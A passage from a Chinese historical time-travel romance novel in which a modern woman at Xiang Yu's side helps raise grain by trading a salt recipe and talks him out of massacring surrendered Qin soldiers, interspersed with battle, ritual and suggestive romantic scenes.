将信写好之后,项羽眼神微眯:“你不是说是用盐来换粮?为何要将制盐的配方也一并送出去?” “将军,既然是换粮,便要诚心一些,这样募得的粮食才会更多。”虞苋清了清嗓子,“我是个商人,商人诚信为本,若是只看中眼前的小利,则会损失大利。” 项羽皱眉:“若是你想做长久的生意,难道不是更不应该只做一锤子买卖吗?” “嘻嘻。” 虞苋拱到项羽怀中,抿嘴一笑,说得更直白些:“人人都要吃盐,人人也都知道其中有多大的利润,而制盐的方子却少有人知,豪绅必会愿意大出血来换。只要换得的粮食解了眼前之忧,将军灭了秦朝,到时候大可颁布法令,将盐作为官营,禁止私人制盐贩卖,如此其中的利润将全部收归国库。” 她又腼腆一笑:“我也不至于得罪人。” 项羽不语,只一味的沉默。 很难想象得到,这样的谋略,竟然是一个女郎想出来的。 项羽仔细思索了一番,甚觉此计真正做到了利益最大化,狠狠宰了一批肥羊。 妙哉。 他叹道:“你有治国之能。” “谬赞了谬赞了。”虞苋低头,“这个法子不过是从书上看的。” 盐铁官营是西汉实行的,被以后的王朝沿用,可见这个政策的伟大之处。 她便是知道这一点,才会想到先将制盐的方子传播出去,以收拢豪绅囤积的粮食,之后再建议项羽以官营为由,将制盐贩盐的之权收归国有。 项羽微眯着眼睛:“能将书上的内容活学活用,那也是你自己的能力。” 他就没有想到还有这种操作。 虞苋都被夸得有些不好意思了,先是忸怩了一下,随后开始试探道:“将军不怪我掺和政事吗?” 项羽挑起女郎的下巴,面容冷峻,声音冷酷:“若你是男子,我如何都要招揽你到我麾下,许你高官厚禄,若是不从,则杀之。” 虞苋闻言被话中的杀意惊得浑身一凉。 他似乎真能做得出来。 狗男人继续道:“可惜你是女子……” 她询问:“是女子怎么了?” 项羽话一转,闷笑道:“那只好我先拜倒在夫人的衣裙之下。” 嗯? 虞苋皱眉:“若是我不从呢?” 闻言,项羽眼神立即变得冰凉,手揉着她腰间的软肉,阴恻恻地道:“那我就把你关起来,做到你从了为止。” 女郎一巴掌拍在他脸上。 “吓唬谁呢!” 狗男人刚才就是故意惹她的,因此面对虞苋的行为丝毫不生气。 他握着女郎的手揉搓两下,居高临下睨她:“力气还是小了点,夫人若是想扇人,往后还得多多训练。” 虞苋:“……” 第54章 第54章“魂兮归来。” 击走章邯之后,项羽又带着楚军围攻王离。 诸侯赶来的援军却不敢出兵,只作壁上观,却见楚军以一敌十,杀声震天,让诸侯联军看得胆寒。 而楚军杀了秦将苏角,又活捉了王离,不肯投降的秦将引火自焚,全了忠义。 大火熊熊燃烧,火舌舔砥着人的脸颊,感觉火辣辣的。 虞苋收起长鞭,抹掉脸上的鲜血,看着城中的大火,又拿出手帕去擦拭手上残余脏污。 可是黑色的血黏在身上,怎么都擦拭不干净。 她想,与其说她自己如今是在慢慢的成长,不如说她其实是在被这个世界慢慢的同化。 看。 她再也不会因为杀人而浑身恶心发颤。 项羽骑马到了女郎身侧,朝着她伸手:“上来,跟我一起。” 男人的手上有薄薄的茧子,她愣着看了一会儿,便握了上去。 对方的手很是暖和,虞苋来不及反应,就已经被拉上了马,腰被搂着,项羽骑马冲进了城中。 又是一场大获全胜的战役,楚军的血性完全被打出来了,所有人都在高声庆祝着。 她扶着项羽坚硬的手臂,抬头看着天际的一团黑,感觉自己似乎被深渊凝望着,浑身不由起了一身鸡皮疙瘩。 项羽见虞苋面色疲倦,说道:“待会儿带你找个地方好好休息。” 虞苋:“好。” 翌日。 士兵们打扫了战场,将尸体都堆在一块,用火将尸体给烧成了灰烬。 “魂兮归来,入修门些——” “工祝招君,背行先些——” 虞苋被如泣如诉的楚歌吵醒,揉了揉眼睛走出门,便看见了焚烧尸体的火焰,焦臭味传入鼻间。 “秦篝齐缕,郑绵络些——” “招具该备,永啸呼些——” 鼓声、哨声、巫傩的铃铛声,将人拉回到战场的肃杀之中,眼前似乎又浮现出了满地疮痍。 最后,士兵们齐唱: “魂兮归来,反故居些——” “魂兮归来,反故居些——” “……” 虞苋听得浑身都起了鸡皮疙瘩,大白天的,她似乎感觉到周围全部都是死去的亡魂,顿时喉咙发紧,头皮发麻,恨不得找一个地方躲起来。 救命。 她怕鬼啊。 女郎急切的想要寻到项羽,于是她搓了搓胳膊继续往外走,却见到不远处已经摆好了祭坛,周围围满了人,他们神色庄重肃穆。 鼓声“咚咚咚”的响,厚重的鼓声传至原野。 火光将尸体吞噬,变成了一捧灰烬。 巫傩们在唱招魂曲,望死去的战士魂归故乡。 大风吹飞木柴燃烧后的灰烬,只见白灰在天际散开,又扑梭梭的往下落,就像是古老的战场上,在下一场鹅毛大雪。 项羽站在高台,灰烬粘在他身上冰冷的甲胄上,男人随意的抚走。 似心有所感,他目光移向虞苋,挑眉:“怎么不多睡一会?” 此时项羽的身边站着范增和桓楚,而在高台之下,是跪地膝行的诸侯。 诸侯们战战兢兢,明明寒冬腊月,额上却被吓出了冷汗。 女郎并未关注他们。 灰烬落在了虞苋的黑发上,落在了她卷翘的睫毛上。 她的心也在随着鼓声咚咚的跳。 女郎走上前,张了张口,声音沙哑:“这是在做什么?” 项羽说:“招魂。” 他道:“吵到你了?” 虞苋听到“招魂”二字浑身一抖,两赶紧抹掉脸上的灰摆手道:“没有没有。” 桓楚在一旁笑:“小虞不会是怕鬼吧?” “怎么会。”她深吸一口气,嘴硬,“我才不会怕鬼。” 范增摸了摸自己的胡须,眯眼打量着虞苋,倒是没有说话。 项羽拉着她站在自己身边,目光随即落在诸侯身上,眼神十分冰冷。 他带兵对敌时,这些诸侯早已赶到,却只作壁上观,并未出兵相助,现下秦军溃败,秦将被杀,倒是怕他回头清算,乖觉的来领罚了。 心里怒火中烧,却面色不显。 项羽目光扫到下面诸侯,眼中带着深意,只道:“既已来援,诸君可听从号令?” 见过楚军的神勇,诸侯莫敢不服,皆俯身应允。 招魂礼已经结束了,可大火还在燃烧。 巨鹿之战于项羽是一场立威之战,是给诸侯看的表演,从此刻起,项羽将是真正的上将军。 虞苋仰头看着漫天灰烬,或许这不仅仅是亡魂的葬礼,也是一个时代的葬礼。 …… 另一边。 韩信和项庄、黎晟等人正按照虞苋所提供的方子制盐。 卤水过滤之后,加入石灰石去硫,再进行熬煮,便得到了粗盐。 即便粗盐中亦有些杂质,品质却比此时的盐要好,卖相洁白,看着便喜人。 项庄从鼎中沾了一点雪白,带入口中,立即便能感觉到咸味。 “成了。”他眼睛一亮,“是盐。” 韩信看着里面洁白的盐霜,有些怔住,如此重要的配方就直接给了他…… 项庄这时候已经跟韩信混熟了,双手抱胸,忍不住说道:“我从未见过如此雪白的盐,想必王公贵族都没有吃过,以此盐和制盐的方子与乡绅换粮,必能募得粮食。” 韩信颔首。 他道:“按计划行事。” 黎晟:“喏。” 巫傩安抚亡魂之后,众人便散了。 一直到了晚上。 虞苋身上沾上了灰烬,浑身感觉不对劲,便立即让人抬水沐浴。 刚将自己洗香香的,恢复了些精神,项羽也正好处理完事情。 他将一小包的东西递给她:“庄儿和韩信按照你的法子,已经将盐制作出来了。” 闻言,虞苋眼睛一亮,接过布袋打开,只见里面正躺着白霜霜的盐。 女郎忍不住道:“看来事情办得很顺利。” 这么短的时间,韩信不仅找到盐地,甚至制作出了盐,对方的能力果真不俗。 项羽挑着她的下巴,居高临下看她:“话说回来,夫人,你还有什么是我不知道的?” 这白盐便是王公贵族都做不出来。 虞苋拿开狗男人的手,轻哼道:“是不是觉得我身上全是秘密?” 项羽坦诚道:“的确,我认识你的第一天起,就知道你是撒谎精。当然全身都是秘密。” 她无语:“谁说这个了?” 项羽将她带进怀里,笑声从胸腔传出来:“那我就等着夫人什么时候愿意将自己的秘密告诉我。” “比如?” “比如你真正来自哪里。” 虞苋眨眼:“之前说了,来自苍梧。” 只不过是两千两百年后的苍梧。 项羽此前派人查过女郎的来历,最近才能确定苍梧并没有虞氏商人,亦没有失踪的虞氏女。 闻言。 他坦言:“我让人去苍梧调查过你。” 背调,理解。 虞苋以为项羽不会提及此事,倒是没想到会在这时将事情摆在台面上。 她垂眸:“我虽然是苍梧人,但是不是在苍梧长大的。” 项羽挑眉:“哦?” 女郎解释道:“我跟着家人四处走商,又不经常在一个地方。” 他道:“拙劣的谎言。” 虞苋:“呃……” 狗男人一脸淡定:“看来是我还不够努力,还没有得到夫人全心全意的信任。” 虞苋被人抱在怀中,腰窝被一只滚烫的手揉搓,抬眸时却见到项羽面色冷峻,一副衣冠楚楚的样子。 她浑身绷紧:“别,别弄。” 项羽闻言立即收手。 虞苋:“……” 她清了清嗓子,脸颊微红:“你还是继续吧。” 项羽眼睛带笑:“最近戒色。” 虞苋见他故意捉弄她,直接跳起来,整理了被人揉得有些凌乱的衣裳:“正好,我也在戒色。” 想要? 不给了。 …… 时间一天天过去。 之后项羽依旧与章邯带的大军在漳水对峙,经过无数次战役,都取得了胜利,章邯恐被秦二世问责,于是想向项羽议降。 项羽不肯。 他家人都死在了秦人手中,最亲的叔父亦是,他对秦国只有仇恨。 范增则建议项羽接受章邯的投降,由于后方的补给不足,此时五万对二十万,楚军的士气和军中的粮草都耗不起。 况且当初项羽被任命为代上将军时,楚怀王曾捎话,他与刘邦谁能先拿下关中,谁就当关中王。 若是接受章邯的投降,不仅可减少军中伤亡,还能让军队从巨鹿抽出,去进攻关中。 项羽被说动了。 没多久章邯便带着二十万大军直接向项羽投降。 不过当年楚国国灭,楚人在秦人手中求生,常常被鞭打折磨,此时秦军投降,楚人便也以牙还牙,对待缴械的秦军非打即骂。 虞苋蹲在一侧,看着一个秦人从地上捡了一块饼,随后被楚人一鞭子甩了过去,对方后背直接被鞭打出血痕,双手蜷缩在地,唯有一双眼睛闪着怨毒。 “住手。” 她叹了一口气,起身,阻止了这一场凌虐。 “夫人。”士兵住手,跪在了地上,“小的家人便是死在秦人手中,心中实在愤恨,才会出手伤人。” 虞苋垂眸:“我知道了。” 章邯投降得太快,比她预想的快,她都还没来得及想出化解秦楚两军积怨的办法呢。 若是她没记错的话,历史上这批投降的秦军,最后会被项羽坑杀。 做出这个决定的原因有两个,其一,担忧镇压不住这二十万降卒,其二,便是军中粮食不够吃。 她想改变的历史,便是试试能不能救这二十万大军,若是能将其收服,或许能改变往后的 悲剧。 好在韩信已经募得粮食,正往辕门运来,暂时不用担心军队吃饭的问题。 不过虞苋发现自己忽视了一个问题。 项羽坑杀二十万秦军,除了上述两个原因,究竟是不是项羽亦有泄愤之意。 她浑身胆寒。 不行。 得问清楚。 第55章 第55章“刚刚是哪只脚踩的我脸…… 晚上。 虞苋正斟酌话语该怎么跟项羽提及降卒之事,便见他从外面走了进来,关门后,在门口解下了身上的甲胄。 他宽身窄腰,倒三角身材,黑衣将精壮的身材勾出。 房间里只点了一盏灯,光线暗淡,男人面色冷静,姿势闲适,似对军中之事无知无觉。 可真是如此吗? 项羽走上前,询问:“怎么还没有休息?” 女郎回神:“等你。” 项羽目光幽深,意有所指:“想了?” 虞苋:“……” 他看着女郎放在腿上的手握成的拳头,面上咬牙切齿,深呼吸一口气,口中还带着气音:“你胡说什么。” 项羽一脸淡定:“哦,你不想。” 虞苋简直要被他给气笑了,直起腰,双手抱胸,颔首,理直气壮的命令道:“你过来,我有话问你。” 雄赳赳气昂昂。 傲娇。 项羽走上前单手挑起她的下巴,冷笑:“命令我?” 她轻哼:“对。” 项羽一把将人提起,将她双腿分开坐在他的腿上,居高临下:“看来是时候给你一点教训,让你分清楚什么是主从。” 他可真是爱死这个劲劲的女人。 真受不了。 虞苋气势被瞬间压制,心中很气,却没有办法,只好说道:“当然你是主,我是从。” 项羽挑眉:“既然你心里明白,还不多多讨好我。” 讨好? 女郎的手在腹肌打转,手指慢慢往下拨弄。 狗男人身体一僵。 虞苋甜甜一笑:“是这么讨好吗?” 项羽能清晰的感觉到女郎冰凉的小手,胸口急促的呼吸,努力压下差点让他溃败的触觉。 她说:“欸,好像一只巨兽在苏醒。” 女郎凑上前,好奇地询问:“将军,它的进攻,是能孕育新生,还是杀死陈旧,亦或是单纯的发泄欲望?” 看似是调情的话,实际上却另有所指。 项羽揉着女郎细腰,看着自己被她玩弄,哑声道:“你觉得是什么?” “或者。” “你希望是什么?” 虞苋目光泠泠地看着男人,沉声说道:“我今日看见士兵殴打降卒。” 项羽淡定:“那怎么了?” 狗男人一副漠不关心的样子,虞苋见状,心中凉了一半。 她不死心地问:“看样子你心里很是清楚。” 暖光勾勒出男人英俊立体的面容,他的眼神却如寒潭般冰冷,声音带着森冷的杀意:“夫人,我以为你和我一样,都觉得秦人所犯的罪孽,就应该去死。” 虞苋被男人周身迸发的杀意怔住,浑身抖了一下,压下心中的惧意,手指缩紧,小声嘟囔:“看来如今苏醒的巨兽,厉害是厉害,大也很大,却不足畏惧。” 项羽睨她:“为何?” 她说:“因此它只是一个无脑发泄欲望的畜生罢了” 狗男人冷笑:“你是不是在骂我?” 只是弱点被对方拿捏,他的声音冷酷中,带了些许的脆弱。 “哪敢啊。”虞苋低声道,“我在骂畜生,没有骂人,除非你不是人。” 项羽:“……” 他看着女郎的眼中熊熊燃烧的怒火,不明白为何她如此生气,不由询问:“难道你其实是秦人?” 虞苋摇头:“不是。” 项羽面露不解:“那你为何为秦军降卒鸣不平?” 他声音骤冷:“秦人杀了多少楚人,数都数不清了,我只知道我的祖父,父亲,母亲,叔父,兄弟,全都死在他们手中,楚与秦隔着血海深仇,不是朝夕便能冰释前嫌的,我只恨不得将他们全杀了祭旗,以告慰在天之英灵。” 果然。 项羽心中已起杀心。 虞苋忍不住说道:“战争不过是上位者的博弈,倘若把天下比作一场棋局,究竟谁是棋子,谁又是执棋之人?” 她说:“棋子们相互厮杀,无论白子黑子,执棋人随手可弃,可谁会在乎它们的死活?你该记恨的是发动战争之人,而非是底层之人,他们是无辜的。” 项羽冷笑:“他们杀死的是活生生的人,可不是什么死物,我只知道秦人杀害楚人之时,可从来没有手软过。” 他随即凝望她:“你别忘了当初在船上被屠戮的商人,究竟是何人所做,江面的那一场大火,难道你这么快就忘记了?” “亦或者说。” “你从一开始就说谎了,其实你的家人并没有死在秦人细作手中,所以你才可以用一副理中客的样子,从道德上来谴责我。” “苏醒的巨兽会吃人。” “你可曾问过它在沉睡之时,曾经经历过什么样的屈辱?” 项羽眼中充血,双手牢牢将虞苋固定,心中的愤恨郁结显露无疑。 秦不灭,难以消解仇恨。 闻言,虞苋也不由想到了自己曾经被项羽带着去过的祠堂,里面的牌位,一排排,从上到下,是那么的多,她当时都数不清。 那是血海深仇。 不经他人苦,莫叫人善良。 虞苋一时被怼得哑口无言,发现自己竟然说不过项羽。 狗男人闭了闭眼睛,压制住心中汹涌的恨,不想让虞苋认为他杀性太重,只好冠冕堂皇的说道:“况且,楚军只有五万,秦军则有二十万,倘若秦人反水,危险的是我军的将士,为了保全将士们的安危,那些降卒必留不得。” 杀意已出。 既然女郎已经发现了他的打算,此事则不宜拖延,免得横生意外。 他松开她:“你休息吧。” 说着,项羽起身整理凌乱的衣裳,就要往外走。 虞苋心中一阵慌乱,直接光脚踩在地板上,拉住了项羽的衣袖。 “慢着。”她声音很冷,“我还没让你走。” 项羽转身看她,想看看她还要说什么。 虞苋见他止步,便背过身,去翻箱倒柜。 他疑惑:“你做什么?” 女郎说道:“找酒喝。” 怼不过狗男人,需要喝点小酒,重新找找思路。 见项羽皱眉,她打开酒坛,闻着酒香,淡定说道:“将军可没有重新下禁酒令,我现在喝酒,不算违抗军令。” 项羽:“……” 他总有一种不详的预感。 女郎喝酒之后向来没有什么好事,怀疑她这是喝酒壮胆,等下定会对他作妖。 狗男人眯着眼睛,冷笑道:“我倒是不知道你什么时候竟然还藏着酒。” 虞苋边喝酒边说:“你现在知道了。” 她说:“你要喝酒吗?” 他:“不喝。” 虞苋道:“那可惜了。” 她刚给自己灌了两口,瞬间就明白过来,刚才为什么争论不过对方了。 项羽一开始就在话中给她下套。 有了。 喝酒了几口烈酒之后,虞苋的小脑袋有点晕乎,思路却极为的清晰,走上前踮起脚询问:“将军,你有没有觉得自己十分的无能?” “什么?” 她将酒坛放在案几上,爬上床,居高临下的站着说道:“听说当年嬴政巡视会稽县之时,将军看着他出行的排场之大,曾说过可取而代之这样的话。” 项羽倒是好奇:“你是听谁说的?” 当时只有他身边的叔父听到了这话,因此觉得他非常人,更尽心的培养 他。 他与叔父从未跟旁人说起过。 虞苋随口忽悠:“是叔父跟我说的。” 项羽便不纠结了。 “我相信以将军此时亦有问鼎天下的实力,不过很可惜……” “可惜什么?” 虞苋示意他走近,却突然抬脚,用力踩在狗男人的肩膀上,瞬间将他踩倒在地。 项羽:“……” 女郎的脚尖踩在他的脸上,俯身羞辱:“可惜你纵然武功天下无敌,有问鼎天下的野心,可却没有一统天下的眼界,只能为将,不配为君。” 扑簌。 房间里的油灯熄灭,周围陷入了黑暗之中。 项羽脸上一阵青黑,心中被她挑起了怒火。 女郎直起身子,脚从脸下滑到男人的脖子,碾压对方的喉结,居高临下。 “将军是不是不服气我说的话?” 项羽此时可不愿再纵容她。 狗男人单手捏着虞苋的脚踝,使用巧劲,便让女郎直接膝盖跪地,坐在了他的脸上。 他冷笑:“夫人,你最好能说服我承认自己的无能,不然,今晚我可不会轻易放过你。” 竟敢如此羞辱他,真是越加的胆大包天,不将他放在眼中。 虞苋被狗男人说话时喷洒气息弄得痒痒,正要起来,却被他的大手固定住。 项羽力气之大,刚才能让她推倒,不过是因为纵容。 她眼见手上占不到便宜,于是继续嘲讽他:“在你看来,秦国是敌国,赵国、齐国、魏国等国只是暂时联盟,唯有楚国才是你自己的。将军目光所及唯眼前的一亩三分地,将他国之人视为外人,仇敌,即便有人投靠,你亦未将他国之人当成自己人,甚至十分的提防,可见十分的短视,因此你也就只能成为一地之诸侯,成不了像嬴政一样的天下共主。” 项羽不悦:“你是想挑衅我。” 虞苋知道如项羽这般大男子主义的男人,从小在别人的夸赞和臣服中成长,一直被人捧着,心气极高,从未受过如此的贬低,对她今日所言恼怒实属寻常。 若非之前已经试探出狗男人心中有她的位置,否则,她绝不会对此事发表任何的想法。 宁可自私一些,好过与项羽离心。 她却不愿多说:“我以言尽于此,将军若是执意将人坑杀,我也阻止不了。” 项羽翻身将女郎压在身下,眼神幽暗,语气十分冷酷:“即便你能说服我,又如何说服楚国的士兵,他们可不是冷冰冰的棋子,他们身边亦有亲朋好友死在秦人手中,你如何让他们放弃仇恨?” 女郎轻嗤:“如果此事将军都没有办法,是你无法管理自己的手下,也不能真正降服亲人,便是你无能。” 项羽:“牙尖嘴利。” 其实虞苋确实说中了他的心思,他压根没有将章邯当成自己人,因此对于降卒,也并不放心。 他想杀降卒,的确有泄愤之意。 此时。 虞苋的话却点醒了他。 可刚刚女郎的羞辱也是真的。 竟敢踩他的脸,岂有此理,真是越大的大胆了。 项羽将虞苋的腿屈膝,手握着她的脚,语气凶狠:“刚刚是哪只脚踩的我脸?” 转移话题? 见自己说了这么久的话,竟是白费口舌了,虞苋将脸瞥到一旁,不想理人。 哼。 第56章 第56章“你能想通此事,已具备…… “说话。” 项羽将她的脸掰正,故意板着一张臭脸。 他再不拿出一点主君的威严,可就真要被这女郎吃得死死的了。 “那咋了。”她恨恨道,“杀了我?” 女郎卷翘的鸦黑色长睫扇合,圆润的眼睛中怒火腾腾,唇瓣微张,一两缕墨发粘在她光洁的脸颊。 如斯美人。 项羽手掌按着女郎的肩膀,喉结滚动,目光强装淡定的扫过女人的身体,厉声说道:“你如此放肆不过是知道我不会杀你,但是我可以做到你下不来床。” 虞苋继续:“妾身好怕怕哦。” 项羽:“……” 果然一喝酒,这女人就变得狗胆包天。 虞苋见他沉默不说话,趁他松手之时拱出男人的双臂之间,翻身坐在项羽的身上。 她气冲冲扯住男人的狗耳朵:“你凶谁呢?” 项羽看着她脸上凶狠,脸颊却红得厉害,将周身的气势减了三分,甚至是有些气急败坏。 耳朵被她扯得有点疼,女郎倒是会拿捏他人弱点。 他继续装冷脸:“松开。” “不松。” “犟。” 还说别人是狗,自己才是狗脾气。 项羽握住虞苋细细的手腕,只是略微用力,女郎便吃痛松开了手。 身体没有了着力点,她直接跌在了男人身上。 于是。 在哪里跌倒就在哪里躺平,虞苋直接闭眼不动了。 隔了一会儿,她闷声闷气道:“将军若是执意要坑杀降卒,不仅让想要投靠将军之人寒心,身边之人也会心寒,我亦会担惊受怕你什么时候将自己给砍了,如此我们还是尽早分道扬镳好了。” 项羽眼神微眯:“你想和我划清界限?” 虞苋说道:“将军应该知道我怕鬼,午夜梦回之时,他们的亡魂来寻你索命,我作为你的枕边人,岂非也要跟着你被恶鬼缠身?” 她说:“还是算了吧。” 项羽却歪了重点:“你之前不是说自己不怕鬼吗?” 转移话题? 女郎见他仍然未松口,她感觉自己的胸口堵得慌,于是沉默着不说话。 项羽见她气呼呼的不理人,他按揉着她的脊背,口中却冷冷道:“既然你最开始选择了我,现在想跑,已经晚了,即便你怕鬼,我也要将你一起拉入深渊。” 虞苋又被狗男人的话给气到了。 此时章邯已经归降,秦军主力瓦解,秦朝的气数已经尽了。 历史上,项羽在巨鹿以五万对抗秦军二十万大军之时,刘邦已经悄默地打进了咸阳,进入关中,已经有了逐鹿天下的能耐。 项羽出身贵族,自有傲骨,不会臣服于平民出生的刘邦,而他的勇猛,亦会让刘邦忌惮。 两人最后定会按照历史的走向,从并肩作战转为兵戎相向。 虞苋个人猜测,楚汉相争时项羽会输给刘邦,并非是输在了自负,而是输在了民心。 她深吸了几口气,压下心中的恐慌和愤怒,酒意上头,她起身踢了这狗男人一脚。 “滚下去。” 女郎原本是想要踢对方的肩膀的,却不小心踢到了项羽的脸。 夜色下,狗男人的脸色极为的冷,眼中的重瞳若隐若现,整个人显得格外的妖冶。 女郎见状有些心慌,忍不住往后退两步,又鼓起勇气道:“我不和你睡。” 项羽却压下了怒火,大手握住小脚,亲了亲她的脚背。 虞苋怔住了。 下一刻,她脚被他拉住,她摔了下去,狗男人翻身,又重新将她镇压。 项羽冷冷道:“我说了,即便我被恶鬼缠身,也要将你拉入深渊。” “不想和我睡,我偏偏要睡你。” “屈膝。” 女郎忍不住道:“你要干嘛?” 男人的手按在她的脚踝,低头,虞苋浑身一颤,想要骂人的话立即就止住了。 不是? 他知不知道自己在干什么? 虞苋伸手去抓男人的耳朵,用力扯了扯,对方不为所动,她想用脚去踹人,却又被他火热的手掌给按住。 房中冰冷的空气,逐渐慢慢变得滚烫,好像能将人灼烧。 女郎支支吾吾:“你别以为你这样我就会给你睡了。” 项羽抬头:“我怎样?” 虞苋脸都红透了,看着对方若无其事的样子,又不愿认输,只能强忍着不让自己发出奇怪的声音。 项羽按着她的尾椎,语气有些含糊:“与其把气撒在我身上,夫人不如想想,怎么化解楚人与秦人的宿怨。” “嗯?” “你是同意不杀降卒了?” 项羽抬起头,抹掉嘴上的水润:“嘴很硬,身体却很诚实。” 虞苋气道:“不要再转移话题。” 狗男人倾身而上,搂住女郎的细腰,声音带着几分餍足:“我可以不杀他们,不过我好奇,你为他们说情全然是为了我的名声着想,没有半分私心吗?” 虞苋眼睛乱转:“没有啊。” 项羽无语:“不信。” 她埋在对方的怀中,不敢再说话了。 不过女郎听到项羽不打算杀降,心里总归是松了一口气。 项羽继续说道:“你的话倒是点醒了我,倘若因自己的好恶行事,即便武力再厉害,也只是让人一时屈服,而非从心里臣服。” 虞苋点头:“对嘛对嘛。” 项羽话锋一转,冷冷开口:“可若是不将降卒杀了,你可想过如何处置他们?” 他又低低一笑:“想必夫人已经有了主意。” 虞苋倒是没有藏私,她的淡定说道:“他们拿起武器是兵,放下武器是民。” “其一,可以将不愿意归顺将军的降卒放归,如今秦气数已尽,无人领头,都不过是一群乌合之众,翻不出什么浪花,又能显示将军的仁义。” “其二,将愿意归顺的降卒打乱分散管理,以防止他们抱团,并严禁军中斗殴,无论是秦人还是楚人奖罚一视同仁。” “其三……” 见项羽询问,女郎很快就能给出方法。 这都是她之前斟酌过的,只是刚才项羽杀意不消,她便不好提供处置他们的办法。 其实这件事情上,什么两国百姓之间的仇怨,和担心降卒反水都是次要的,只要有钱有粮,能让人吃饱肚子,便能解决绝大部分问题。 项羽挑眉:“你的主意倒是可行性很高,具体要怎么实施,则需和亚父商议过后,才能具体给你回复。” 虞苋点点头:“好的。” 狗男人闷笑一声:“那继续?” 她疑惑:“继续什么?” 项羽的滚烫的掌心触碰到女郎的肌肤,烫得虞苋心尖一颤,脸颊越加的红润:“你你你……你别太过分。” 他继续翻旧账:“你对我就不过分了?” 狗男人握着她的脚踝,让她爬在床上,温热的呼吸喷洒在她的耳边,冷笑道:“踹我的脸,下一次,是不是就让我跪在地上服侍你了?” 虞苋:“……” 不敢说话。 她脑子却不由自主的想着那个画面,若是他真的跪在她面前服侍……只是那么一想,浑身都已经开始激动。 想要了。 然后她对上了项羽的冷峻的脸。 他浑身慵懒,面上似笑非笑,带着贵族的矜贵,早已将她看透。 女郎不敢与之对视,很是心虚的样子。 项羽又是冷哼一声:“你还真是什么都敢想啊?” 两人对于降卒处置的分歧已经解决了,虞苋知道刚才自己的行为的确过分,便不在强硬作态,而是软乎乎的贴在狗男人的身上:“那妾身跪着服侍你好了。” “不稀罕。” 夜色浓郁。 她贝齿咬着唇,握住了男人的弱点,手指研磨,腿则搭在男人的劲腰上。 项羽可受不住女人这样的撩拨,直接挑起她的下巴低头索吻。 他没有怜香惜玉,边亲边揉,直接将女郎亲得浑身颤抖,香汗淋漓,反应越大,越是让人激动,只想将她照顾得更为舒服。 虞苋手被拿开,随即十指交缠。 狗男人捧着她的腰,深吸一口气,说道:“你身上香香的,涂了什么?” 她都被亲懵了:“什么?” 项羽没有给她开口的机会,再次低头,吻住了她微张的唇瓣。 浓郁的夜色中,男女彼此的呼吸缠绕。 这个夜晚时间还很长,还有很多事情可以做。 翌日。 天刚刚蒙蒙亮,餍足的项羽便已经醒了。 他看着怀中的女郎,身上还残留着昨晚放纵的痕迹,脸上还有泪痕,心中不由生出了几分愧疚。 起床之后,项羽便让人送来热水,随后将她身体清理干净,上药,之后便给她盖上了被子。 狗男人低头看见自己身上的咬痕,想到女郎嘴巴里尖尖的牙齿撕着他的肌肉,又有点上头。 他看着女郎沉睡的睡颜,心中涨涨的,忍不住低下头,在她额头印下一吻。 等项羽离开之后,虞苋立即睁眼,夹着被子在床上翻滚了两圈。 走了走了,终于走了。 她昨晚差点被那狗男人给做死。 不就是踩了他的脸,又不小心踢了一脚,有必要将她要得那么狠? 虞苋捂脸:“好羞耻啊。” 而另一边。 项羽出去之后,便去寻来的范增,重新商议降卒的处置问题。 他道:“当时亚父劝我三思,只是我被仇恨蒙蔽,倒是小虞点醒了我,如此,如何安排降卒,还望亚父拿个主意。” 于是项羽便将虞苋提及的方法告知范增:“亚父觉得此法如何?” 范增之前只当虞苋擅工不擅其政,听到她的主意,不由捋着胡须,说道:“此法甚好,只是还有需查漏补缺之处,我会让人再仔细想想。” 他道:“你能想通此事,已具备为君者的气度。” 如今能有人能劝得动项羽,则为好事一桩,对于这个女郎,范增心中已经由衷的认可。 不久。 韩信等人将粮食运到了军中。 粮食一车一车的运送前来,军中的将士们自然能看得见。 此时英布将韩信拦下,皱眉询问:“这车里运的是什么?” 韩信不卑不亢道:“回将军,车中是粮草。” 说到粮食,英布的眼睛都亮了,手下之人好几日都没吃过饱饭了,闻言指着后面的运粮车:“后面的全都是粮草?” 韩信明白,既然这粮食是虞苋让他募来的,这等事情便不能藏着掖着,也得让军中的将士们知道,以此巩固其在军中的地位。 于是他点头:“没错,后面的都是粮草。” 他道:“早在渡江之前,虞夫人便已经看出军中粮草不足,开始想办法募粮,于是交代我等前去办此事,幸未辜负夫人所托,将粮食募回。” 英布立即搂住韩信的肩膀:“老弟,看你文质彬彬的样子,没想到办事牢靠,以后你就是我兄弟了,我让我手下的弟兄们帮你卸粮草。” “不用谢我。” 韩信:“……” 英布说完,立即上了粮车上,扯开了一个麻袋,便见到了里面的豆子,忍不住兴奋道:“弟兄们,是粮,虞夫人募得的粮草到了,咱们有吃的了!” 韩信赶紧解释:“将军,这些粮草还需登记过后才能发放下去。” 英布颔首:“放心,规矩我懂。” 粮草一车车的运送进来,难不成还少了弟兄们的吃食? 这几天又饿又冷,众人心里没有个数,心下实在慌张,如今有了粮草,那便是吃了一颗定心丸,对于将军下令不准再鞭打降卒泄愤的怨气,都随着粮草的到来,消失无踪了。 天大地大,吃饭最大。 英布好奇道:“对了,你们是怎么募得如此多的粮草?” 这时项庄走了过来,说道:“一部分是用东西与豪绅们换的,一部分是豪绅们得知前线战事大获全胜自愿捐的,还有一部分,是韩兄带我们连夜端了匪徒收缴的。” 英布举起大拇指:“干的漂亮。” 卸完粮草之后,韩信与黎晟前来与虞苋复命,项庄则去找项羽去了。 韩信道:“此次募得的粮食,至少能让军中的将士吃上一年。” 虞苋都被这个数震住了,对于韩信的能力大开眼界。 这样的人才,只能为自己所用,决不能让他站在自己的对立面,否则难是其对手啊。 她上前拍拍韩信的肩膀:“此时你做得很好,我会向将军禀明,给你求个官职。” 韩信稽首:“多谢夫人赏识。” 虞苋便又看向黎晟,上前握住了她的手,说道:“此事你也做得很好,便回到我身边吧。” 黎晟赶紧低头稽首:“喏。” 她心里清楚,此一时彼一时,以虞苋如今的身份地位,自有人抢着为她做事,募粮草之事她办得漂亮,夫人才会再给她一个机会。 凛冬过去,第一缕暖风吹来之时,春天悄然地来了。 地上长满了嫩绿色的草,远远看过去,一片郁郁葱葱,欣欣向荣的气象。 秦军降卒愿意留下来的不足五万,项羽便全 部将其打乱编入军中,不愿意留下来的,都给了三日的吃食和粮食种子将其遣散。 他们回到家里,正好能赶上春耕。 另一边,关中,一处敞亮的宫殿里,刘邦、萧何、张良等人围坐。 刘邦沉吟道:“上将军在漳水对战秦军的主力,秦将章邯不是对手,接连失利,如今已经带兵向上将军投降。” 